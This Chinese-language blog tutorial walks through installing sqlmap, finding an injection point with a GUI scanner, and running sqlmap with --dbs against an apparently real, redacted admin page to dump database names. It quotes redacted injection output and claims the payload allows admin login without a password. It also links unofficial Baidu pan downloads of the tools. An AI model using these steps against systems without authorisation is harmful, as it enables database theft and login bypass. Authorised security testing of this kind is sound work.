(亲测有效)关于sql注入漏洞的测试以及发现,尝试了百篇文章总结出来的
今天单位突然说有个平台有sql注入漏洞,让找出来来是什么样的sql漏洞,真是nn腿了,只能用下面的这张图来代表自己的心情了
废话少说,开干
1. 安装sqlmap
既然要用到这个工具,那我们就可以安装这个工具吧,建议在linux上面安装使用,当然了,小编是开了一个虚拟机在上面使用的
1.1 官网下载软件包
官方网站:http://sqlmap.org/ 坑的一批,看运气登录,可能服务器在国外,一会能登录上去,一会登录不上去,如果能登录上去的话,可以下载最新的安装包 当然了,也可以使用小编的这个。
链接:https://pan.baidu.com/s/1QvXdDJRLPIgEKS4QPkNjfA
提取码:5f93
1.2 开始安装、
其实sqlmap不用安装的,他其实就是一个python脚本,直接用python启动就可以了
一张图告诉你怎么安装sqlmap
1.3 做软链
为了使用命令方便,这边我们做一个软连接
[root@localhost sqlmapproject-sqlmap-8af87c7]# ln -s ~/sqlmapproject-sqlmap-8af87c7/sqlmap.py /usr/local/sqlmap
[root@localhost sqlmapproject-sqlmap-8af87c7]# which sqlmap #这个就是我们要用到的命令
/usr/local/bin/sqlmap
2. 找到网站的sql漏洞注入点
这个就是自己搞了半天的,百度上面好多的文章一上来就是“https://***********/index.php?id=1”,用这个作为注入点,那么问题来了,这个?id=1是什么玩意呢,看了这篇文章你就知道了,并不是所有的平台都得使用这个id=1的,包括我测试的这个平台他就不是,这个也是坑了自己好久,
2.1 何为注入点
简单理解就是,一个漏洞的口,你的需要从这里开始突破进去
2.2 怎么找到这个注入点
伟大的人类,为什么伟大,就是因为我们会使用工具,网上面这种工具很多,小编这里用的是工具Safe来实现的 工具使用也很简单,把你需要测试的网址复制进去,根据需要选择get或者post方式即可,长下面这个样子!
图片已经非常简洁明了了吧,这个是安装在windows上面的哈,找到注入点,需要复制到sqlmap工具里面使用的哈。别为为什么,问就是懒 该工具下载连接
链接:https://pan.baidu.com/s/1SP_U2ZM4VBlMThooOaYHPw
提取码:rkn9
3. 开始sqlmap暴库
小编为什么说暴库呢,直接暴库不好吧,但是小编也懒哈,直接给大家演示下暴库,也就是暴漏出来数据库,其他的大家可以自己尝试,连数据都暴出来了,还搞其他的干什么吗
3.1 sqlmap注入测试
[root@localhost ~]# sqlmap -u "http://XXXXXXXXXXXXXXminID=1" --level=3 --dbs ###XXX为小编故意隐藏起来的注入点也就是上面工具查到的注入点
## -u:指定注入点
## --level :指定sqlmap的运行等级,最高为5,自己的平台,用5的话是不是会对不起平台的访问量哈
## --dbs : 利用漏洞爆出所使用的数据库里面的所有库名,只要在这个数据库里面的都会曝出来,就算你平台没有用这个库也会曝出来
------内容省略--------
[23:16:19] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: adminID (GET)
Type: boolean-based blind
Title:*************************************
Payload: adminID=1' AND XXXXXXXXXXXXXXXXX ##内容隐藏起来,看到了这里基本上也就结束了,可以通过注入点加上这个Payload里面的参数,来进行http的登录,你会发现,哎呀,妈呀,居然不用输入密码,直接进入到了首页
Type: error-based
Title: ********************************************
Payload: adminID=1' AND XXXXXXXXXXXXXXXXX ##内容隐藏起来,看到了这里基本上也就结束了,可以通过注入点加上这个Payload里面的参数,来进行http的登录,你会发现,哎呀,妈呀,居然不用输入密码,直接进入到了首页
Type: time-based blind
Title: **********************************
Payload: adminID=1' AND XXXXXXXXXXXXXXXXX ##内容隐藏起来,看到了这里基本上也就结束了,可以通过注入点加上这个Payload里面的参数,来进行http的登录,你会发现,哎呀,妈呀,居然不用输入密码,直接进入到了首页
Type: UNION query
Title: *******************************
Payload: adminID=1' AND XXXXXXXXXXXXXXXXX ##内容隐藏起来,看到了这里基本上也就结束了,可以通过注入点加上这个Payload里面的参数,来进行http的登录,你会发现,哎呀,妈呀,居然不用输入密码,直接进入到了首页
-----------------省略--------------
为了保密起见,最后面sqlmap将会展示数据库,小编这里就不展示了
---
4. sqlmap的其他的参数
- sqlmap非常的强大,这个功能只是他的九牛一毛,其他的参数请自行百度,哈哈,小编是不是很坏
5. 结束语
这篇文章只是为了和大家一起交流学习用的,千万不要用来干坏事
|